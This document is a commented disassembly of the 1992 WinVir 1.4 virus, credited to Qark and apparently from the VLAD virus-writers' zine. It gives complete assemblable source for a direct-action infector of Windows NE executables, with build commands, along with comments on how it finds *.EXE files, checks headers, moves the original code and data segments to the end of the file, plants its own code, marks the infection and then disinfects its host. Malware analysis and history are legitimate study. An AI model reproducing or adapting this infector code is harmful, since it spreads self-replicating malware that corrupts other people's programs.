;
; WinVir 1.4 disassembly by Qark
; Original virus written in the Netherlands
; by Masud Khafir [Trident] in 1992.
;
; This is an interesting virus due to the very fact that it was the worlds
; first ever windows executable infector.
;
; The virus functions by copying code from the original code segment and
; auto data segment at offset 100h and appending it to the end of the
; program. Then it places it own code and data in the corresponding
; segments.
;
; When the infected program is executed from inside windows it will search
; the current directory for any windows executables. It is very fussy about
; what it will infect, winmine.exe being one of the few programs it will do.
; After infecting all the files it can in the current directory, it will then
; disinfect itself from the program, restoring the original data, and exit
; back to windows. The user will assume they clicked the icon incorrectly,
; attempt again, at which time the program will function properly.
;
; I have heard some Anti-Virus figures claim the virus just fiddles with the
; DOS stub, but this is infact not the case. It is a full direct action
; WinEXE infector.
;
; Overall, the virus is well optimised, and it is suprising that seeing
; how well Musad seems to understand the windows executable header that he
; couldn't have contrived to make the virus return directly to the original
; host program and thus make win infection viable earlier.
;
; There is an error in the virus with an 'lseek' that isn't even used and has
; been left out of the disassembly.
;
; The disassembly won't compile to be a byte match with the virus but is
; the same otherwise.
;
; Assemble with:
; a86 +o winvir14.asm
; link winvir14;
; Don't ask me why, but even my disassemblies only work with a86 ;)
;
Virus_seg Segment
assume cs:virus_seg,ds:data_seg,ss:stack_seg
org 0fbh ;This way the code written to the winexe will
;be org 100h
start:
mov ax,data_seg
mov ds,ax
;--- From here on gets written to the windows executables ---
cld
push es ;Save ES
push ds ;Point DS to ES
pop es
mov si,offset name_space
mov di,offset name_space2
mov cx,13
rep movsb
mov dx,offset dta ;Set DTA to our data area.
mov ah,1ah
int 21h
mov dx,offset wildcard ;We're looking for this.
xor cx,cx ;Any attributes.
mov ah,4eh ;Find first.
find_next:
int 21h
jc not_found
mov dx,offset name_space ;Infect the file we found.
call infect
mov ah,4fh ;Find next.
jmp find_next
not_found:
mov dx,offset name_space2
call disinfect
pop es ;Why bother saving/restoring ES ?
mov ax,4c00h ;Terminate.
int 21h
;--Start of subroutines--
Infect Proc Near
mov ax,3d02h
int 21h
jc bad_open
xchg bx,ax
mov si,offset buffer
call file_check
jc close_exit
cmp word ptr [si+14h],100h ;Check winexe entry IP. Marker ?
je close_exit
mov ax,5700h
int 21h ;Get file date and time.
push cx
push dx
call infect_file
pop dx
pop cx
mov ax,5701h ;Restore file date and time.
int 21h
close_exit:
mov ah,3eh
int 21h
bad_open:
ret
Infect Endp
Disinfect Proc Near
mov ax,3d02h ;Open file
int 21h
jc bad_open
xchg bx,ax
mov si,offset buffer
call file_check
jc close_exit
;Is the IP 100h ? (This is probably the infection marker)
cmp word ptr [si+14h],100h
jne close_exit
;Save time/date.
mov ax,5700h
int 21h
push cx
push dx
call fix_auto_data
call fix_code_seg
pop dx
pop cx
jmp close_exit
Disinfect Endp
File_Check Proc Near
call read_file
cmp word ptr [si],'ZM'
jne fail_exit
cmp word ptr [si+18h],40h
jb fail_exit
mov ax,word ptr [si+3ch]
mov dx,word ptr [si+3eh]
call lseek
mov word ptr ne_off,ax
mov word ptr ne_off+2,dx
call read_file
cmp word ptr [si],'EN' ;NE header ?
jne fail_exit
cmp word ptr [si+0ch],302h ;Program/App flags
;Make sure program is
;'unshared' and uses win
;API (why bother checking
;this ??)
jne fail_exit
cmp word ptr [si+32h],4 ;Windows shift alignment
jne fail_exit ;Make sure the shift is
;the standard value (why?)
cmp word ptr [si+36h],802h ;target OS and exe flags
jne fail_exit ;Make sure it runs under
;windows, and gangload area
;(why for ??)
clc
ret
fail_exit:
stc
badsize:
ret
File_Check Endp
Infect_File Proc Near
;Read the code segment entry into cs_seg
mov ax,word ptr [si+16h] ;AX=Newexe CS
mov dx,offset cs_seg
call read_rout
;How big is the CS ?
cmp word ptr cs_length,code_size+100h
jb badsize
cmp byte ptr cs_attrib,50h ;requires a preloaded,
;movable segment. (why ??)
jne badsize
;Read the autodata segment entry into ds_seg
mov ax,word ptr [si+0eh] ;Auto data segment into AX
mov dx,offset ds_seg
call read_rout
;Make sure that DS is big enough for its purpose.
cmp word ptr ds_length,datasize+300h
jb badsize
;Lseek to the codesegment.
mov ax,word ptr cs_off
call lseek_2_segment
;Read in the codesegment
mov dx,offset buffer2
mov cx,code_size
call read_2
call lseek_end
;Write the original codesegment to the end of the file.
mov dx,offset buffer2
mov cx,code_size
call write_2
;Lseek to the automatic datasegment.
mov ax,word ptr ds_off
call lseek_2_segment
;Read in the automatic datasegment.
mov dx,offset buffer2
mov cx,datasize
call read_2
call lseek_end
;Write the original datasegment to the end of the file, behind
; the original code segment.
mov dx,offset buffer2
mov cx,datasize
call write_2
;Save original segment attributes.
push word ptr cs_attrib
pop word ptr seg_attrib
;Remove the 'relocations' setting from the segment attribute.
;This is so that the code doesn't get trashed by relocations
;that were meant for the original program.
and word ptr cs_attrib,0feffh
;Write the new code segment entry.
mov ax,word ptr [si+16h] ;CS into AX
mov dx,offset cs_seg
call write_rout
;Lseek to the start of the NewEXE header.
xor ax,ax
cwd
call fix_file_pointer
;Save the original IP and store it in seg_ip
push word ptr [si+14h]
pop word ptr seg_ip
;Set the IP to 100h
mov word ptr [si+14h],100h
;Write the modified NE header back.
call write_file
;Lseek to the code segment.
mov ax,word ptr cs_off
call lseek_2_segment
;Write the virus code to the code segment.
push ds
push cs
pop ds
mov dx,100h ;DS:DX start of the virus
mov cx,code_size ;Size of virus code.
call write_2
pop ds
;Lseek to the auto data segment.
mov ax,word ptr ds_off
call lseek_2_segment
;Write the virus data to the auto data segment.
mov dx,100h
mov cx,datasize
call write_2
ret
Infect_File Endp
Fix_Auto_Data Proc Near
;Read the autodata segment entry into ds_seg
mov ax,word ptr [si+0eh]
mov dx,offset ds_seg
call read_rout
;Lseek to auto data segment.
mov ax,word ptr ds_off
call lseek_2_segment
;Read in the auto data segment into our data segment.
mov dx,offset buffer
mov cx,datasize
call read_2
ret
Fix_Auto_Data Endp
Fix_Code_Seg Proc Near
;Restore the original CS attributes.
push word ptr seg_attrib
pop word ptr cs_attrib
;Write the code segment entry back to the executable.
mov ax,word ptr [si+16h] ;ax=code seg
call Write_Rout
;Restore original IP.
push word ptr seg_ip
pop word ptr [si+14h] ;restore IP
;Lseek to start of NE header.
xor ax,ax
cwd
call fix_file_pointer
;Write original NE header back.
call write_file
;Lseek to end of file.
call lseek_end
;File length is in DX:AX from lseek. Subtracting will give an
;offset from the end of the file.
sub ax,datasize
sbb dx,0
push ax
push dx
;Lseek to original saved datasegment.
call lseek
;Read original datasegment into buffer2.
mov dx,offset buffer2
mov cx,datasize
call read_2
;Lseek to auto data segment.
mov ax,word ptr ds_off
call lseek_2_segment
;Write the original data segment back.
mov dx,offset buffer2
mov cx,datasize
call write_2
pop dx
pop ax
;DX:AX=file offset of saved original data segment.
;Subtracting will point to saved original code segment.
sub ax,code_size
sbb dx,0
push ax
push dx
;Lseek to saved original code segment.
call lseek
;Read original code segment into buffer2.
mov dx,offset buffer2
mov cx,code_size
call read_2
;Lseek to CS.
mov ax,word ptr cs_off
call lseek_2_segment
;Write original CS back to program.
mov dx,offset buffer2
mov cx,code_size
call write_2
pop dx
pop ax
;Lseek to original stored CS appended to program.
call lseek
;Truncate the saved data off the end of the file.
mov cx,0 ;xor cx,cx!
call write_2
ret
Fix_Code_Seg Endp
Read_Rout Proc Near
push dx
dec ax ;Segment entry - 1
mov cx,8 ;Segment table entry = 8
mul cx ;Find the CS segment
;entry offset.
add ax,word ptr [si+22h] ;Segment table offset
adc dx,0
call fix_file_pointer ;Will lseek to the segment
;table entry of the segment.
pop dx
mov cx,8
jmp read_2
Read_Rout Endp
Read_File Proc Near
;sub8
mov dx,offset buffer
mov cx,40h
read_2 proc near
mov ah,3fh
int 21h
ret
read_2 endp
Read_File EndP
Write_Rout Proc Near
push dx
dec ax ;Segment entry - 1
mov cx,8 ;Segment table entry = 8
mul cx ;Find the CS segment
;entry offset.
add ax,word ptr [si+22h] ;Segment table offset
adc dx,0
call fix_file_pointer ;Will lseek to the segment
;table entry of the segment.
pop dx
mov cx,8
jmp short write_2
Write_Rout Endp
Write_File Proc Near
mov dx,offset buffer
mov cx,40h
write_2 proc near
mov ah,40h
int 21h
ret
write_2 endp
Write_File Endp
Lseek_End Proc Near
mov ax,4202h
xor cx,cx
cwd
int 21h
ret
Lseek_End Endp
Fix_File_Pointer Proc Near
add ax,word ptr ne_off
adc dx,word ptr ne_off+2
jmp short lseek
Fix_File_Pointer Endp
Lseek_2_Segment Proc Near
mov cx,10h ;Since the virus only infects programs
;with a shift of 4 you can multiply by
;16 to get the offset.
mul cx
add ax,100h ;why ???
adc dx,0
jmp short lseek
Lseek_2_Segment Endp
Lseek Proc Near
;lseeks to dx:ax
xchg cx,dx
xchg dx,ax
mov ax,4200h
int 21h
ret
Lseek Endp
virusname db ' Virus_for_Windows v1.4 '
VCode_End:
;The size of the code segment.
Code_Size equ offset vcode_end - 100h ;$-100h
Virus_Seg Ends
Data_Seg Segment
db 100h dup (0) ;This doesn't get written
;to file.
buffer db 40h dup ('a') ;NE header is read into here.
;The code segment entry of the windows file to be infected.
cs_seg: ;140h
cs_off dw 'bb'
cs_length dw 'bb' ;142h
cs_attrib dw 'bb' ;144h
cs_alloc dw 'bb'
;The data segment entry of the windows file to be infected.
ds_seg: ;148h
ds_off dw 'cc'
ds_length dw 'cc' ;14ah
ds_attrib dw 'cc'
ds_alloc dw 'cc'
dta db 30 dup ('d')
name_space db 13 dup ('d')
wildcard db '*.EXE',0
name_space2 db 13 dup ('e')
ne_off dd 0
seg_ip dw 0
seg_attrib dw 0 ;1a2h
author db 'MK92'
buffer2 db 8 dup (0) ;1a8h
Datasize equ offset buffer2 - 100h ;Size of the datasegment.
Data_Seg Ends
Stack_Seg Segment Stack
db 2000h dup (0)
Stack_Seg Ends
end start
- VLAD #4 INDEX -